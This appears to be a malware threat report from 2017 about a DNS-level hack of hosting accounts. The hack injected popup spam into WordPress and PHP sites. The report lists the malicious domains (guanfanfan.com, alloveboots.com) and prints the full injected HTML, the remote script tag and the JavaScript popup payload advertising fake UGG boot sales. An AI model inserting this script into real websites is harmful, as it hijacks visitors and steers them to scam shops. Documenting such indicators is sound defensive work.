Malware Threats Report #2017010230

Date	2017-01-02
Type	Popup spam/DNS hack
Target	WordPress and any PHP scripts
Where	DNS level (ns.guanfanfan.com)
Vulnerability	Hacked web host account
Malware Domain	ns.guanfanfan.com, www.alloveboots.com, google.guanfanfan.com
Malware Code	<div id="new2msg" style="position:absolute; z-index:999999; width: 100%; top: 20%; text-align: center;"><div style="width: 600px; margin: 0 auto; background: #666; text-align: center;"><a href="http://www.alloveboots.com/?qns" target="_blank" style="color: white; text-decoration: none;" onclick="document.getElementById('new2msg').style.display='none';" title="Big Sale ! All UGG Boots 80% Off. One Day Left, Free Shiping. Hurry!"><img src="http://google.guanfanfan.com/new2.jpg" alt="Big Sale ! All UGG Boots 80% Off. One Day Left, Free Shiping. Hurry!" border="0"><br><span style="line-height: 30px; font-size: 1em; font-weight: bold;">Big Sale ! All UGG Boots 80% Off. One Day Left, Free Shiping. Hurry!</span></a></div></div>
Malware Code	<script type="text/javascript" src="http://google.guanfanfan.com/new2.js"></script>
Malware Code	(function() { var width = 600; var pic = 'http://google.guanfanfan.com/new2.jpg'; var url = 'http://www.alloveboots.com/?qns'; var title = 'Big Sale ! All UGG Boots 80% Off. One Day Left, Free Shiping. Hurry!'; var delay = 'h12'; function setCookie(name, value, time) { var strsec = getsec(time); var exp = new Date(); exp.setTime(exp.getTime() + strsec * 1); document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString(); } function getsec(str) { var str1 = str.substring(1, str.length) * 1; var str2 = str.substring(0, 1); if (str2 == "s") { return str1 * 1000; } else if (str2 == "h") { return str1 * 60 * 60 * 1000; } else if (str2 == "d") { return str1 * 24 * 60 * 60 * 1000; } } function getCookie(name) { var arr, reg = new RegExp("(^\| )" + name + "=([^;]*)(;\|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null; } function delCookie(name) { var exp = new Date(); exp.setTime(exp.getTime() - 1); var cval = getCookie(name); if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString(); } if (getCookie('hi_num') == null) { document.write('<div id="new2msg" style="position:absolute; z-index:999999; width: 100%; top: 20%; text-align: center;"><div style="width: ' + width + 'px; margin: 0 auto; background: #666; text-align: center;"><a href="' + url + '" target="_blank" style="color: white; text-decoration: none;" onclick="document.getElementById(\'new2msg\').style.display=\'none\';" title="' + title + '"><img border="0" src="' + pic + '" alt="' + title + '" /><br /><span style="line-height: 30px; font-size: 1em; font-weight: bold;">' + title + '</span></a></div></div>'); setCookie('hi_num', 1, delay); } })();